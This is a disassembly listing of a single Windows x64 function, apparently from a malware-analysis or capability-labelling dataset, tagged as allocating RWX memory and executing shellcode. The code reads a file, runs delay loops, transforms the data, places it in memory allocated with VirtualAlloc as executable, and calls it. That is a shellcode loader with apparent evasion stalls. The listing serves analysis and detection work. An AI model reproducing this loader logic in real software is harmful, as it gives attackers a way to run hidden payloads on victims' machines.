Function at 0x1400023c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0xf8]
sub rsp, 0x1d0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14003f080]
xor rax, rsp
mov qword [rbp + 0xb8], rax
mov rbx, rcx
xor r15d, r15d
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x30]
call fcn.14002c820
cmp qword [rbx + 0x18], 0xf
jbe 0x140002418
mov rbx, qword [rbx]
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140005c50
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x30], r12
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x2c], edx
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x40], 6
je 0x140002483
lea rdx, str.Failed_to_open_file_
lea rcx, [0x1400404c0]
call fcn.140007200
mov rcx, rax
call fcn.140007170
jmp 0x140002911
mov qword [rbp + 0x50], r15
mov word [rbp + 0x58], 1
mov rcx, qword [rsp + rcx + 0x78]
mov qword [rbp + 0x40], rcx
test rcx, rcx
sete byte [rbp + 0x48]
mov byte [rbp + 0x49], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
movaps xmm0, xmmword [rbp + 0x40]
movaps xmmword [rbp + 0x40], xmm0
movaps xmm6, xmmword [rbp + 0x50]
test rcx, rcx
je 0x14000250b
mov rax, qword [rcx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400024de
mov rax, qword [rcx + 0x50]
cmp dword [rax], 0
jle 0x1400024de
movzx eax, byte [rdx]
jmp 0x1400024e4
mov rax, qword [rcx]
call qword [rax + 0x30]
cmp eax, 0xffffffff
je 0x1400024fa
mov byte [rbp + 0x49], al
mov rax, qword [rbp + 0x40]
mov byte [rbp + 0x48], 1
movaps xmm0, xmmword [rbp + 0x40]
jmp 0x140002510
mov rax, r15
mov qword [rbp + 0x40], rax
mov byte [rbp + 0x48], 1
movaps xmm0, xmmword [rbp + 0x40]
jmp 0x140002510
movq rax, xmm0
test rax, rax
movq rax, xmm6
jne 0x14000258e
test rax, rax
je 0x140002593
movdqa xmmword [rbp + 0x50], xmm6
movdqa xmmword [rbp + 0x40], xmm0
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x70]
call fcn.140009380
nop
lea rcx, [rsp + 0x40]
call fcn.140005b50
test rax, rax
jne 0x1400025a9
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rsp + rcx + 0x78], 0
cmovne eax, edx
or eax, dword [rsp + rcx + 0x40]
and eax, 0x17
mov dword [rsp + rcx + 0x40], eax
mov edx, dword [rsp + rcx + 0x44]
and edx, eax
je 0x1400025a9
test dl, 4
je 0x1400029ac
lea rbx, str.ios_base::badbit_set
jmp 0x1400029c1
test rax, rax
je 0x14000251f
movdqa xmm0, xmmword [0x1400395e0]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], 0
jmp 0x14000253b
call fcn.140009bf4
mov rbx, rax
call fcn.140009bd8
mov rcx, rax
movabs rsi, 0xb2f4fc0794908cf3
cmp rbx, 0x989680
jne 0x1400025d2
imul rbx, rcx, 0x64
jmp 0x140002642
cmp rbx, 0x16e3600
jne 0x140002626
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rbx, rdx
shr rbx, 0x3f
add rbx, rdx
add rbx, r8
jmp 0x140002642
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
mov qword [rbp + 0x40], 0x7d0
lea rcx, [rbp + 0x40]
call fcn.1400074b0
call fcn.140009bf4
mov rdi, rax
call fcn.140009bd8
mov r9, rax
cmp rdi, 0x989680
jne 0x140002672
imul rcx, r9, 0x64
jmp 0x1400026e1
cmp rdi, 0x16e3600
jne 0x1400026c6
mov rax, rsi
imul r9
add rdx, r9
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
imul r8, rdx, 0x3b9aca00
imul rcx, rdx, 0x16e3600
sub r9, rcx
imul rcx, r9, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
add rcx, r8
jmp 0x1400026e1
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rcx, rax
sub rcx, rbx
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov esi, 0x7f149
sub esi, edx
lea edi, [rsi + 0x76c]
nop dword [rax]
xor ecx, ecx
call fcn.14001408c
mov ecx, eax
call fcn.140010c84
mov rbx, r15
call fcn.140010c58
inc rbx
cmp rbx, 0x64
jl 0x140002721
cmp edi, 0x7f148
je 0x140002753
inc edi
mov eax, edi
sub eax, esi
cmp eax, 0x898
jle 0x140002710
mov edi, dword [rbp + 0x40]
cmp edi, 0x7f147
jle 0x1400028bf
cmp edi, 0x7f149
jae 0x1400028bf
mov edx, edi
lea rcx, [rbp + 0x90]
call fcn.140006f90
nop
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x50]
call fcn.140001e30
nop
lea rsi, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rsi, qword [rbp + 0x50]
mov r14, qword [rbp + 0x60]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
xor ecx, ecx
call fcn.14001408c
mov ecx, eax
call fcn.140010c84
mov rbx, r15
call fcn.140010c58
inc rbx
cmp rbx, 0x64
jl 0x1400027c0
mov r8, r14
mov rdx, rsi
mov rcx, rdi
call fcn.14002c180
xor ecx, ecx
call fcn.14001408c
mov ecx, eax
call fcn.140010c84
mov rbx, r15
nop dword [rax]
call fcn.140010c58
inc rbx
cmp rbx, 0x64
jl 0x1400027f0
xor ecx, ecx
call fcn.14001408c
mov ecx, eax
call fcn.140010c84
mov rbx, r15
nop
call fcn.140010c58
inc rbx
cmp rbx, 0x64
jl 0x140002810
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x14000286d
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002868
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029f5
call fcn.14000afe0
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x1400028bf
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029fb
call fcn.14000afe0
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x1400028fd
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029a6
call fcn.14000afe0
movdqa xmm0, xmmword [0x1400395e0]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], 0
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x30], r12
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x2c], edx
lea rcx, [rsp + 0x40]
call fcn.140003e10
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x2c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp - 0x20], rax
lea rcx, [rbp - 0x20]
call fcn.14000a53c
nop
mov rcx, qword [rbp + 0xb8]
xor rcx, rsp
call fcn.14000afc0
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.140014e2c
nop
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp + 0x50]
call fcn.140001430
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x90]
call fcn.140001cd0
lea rdx, [0x14003dd40]
lea rcx, [rbp + 0x90]
call fcn.14000d098
nop
call fcn.140014e2c
nop
call fcn.140014e2c
int3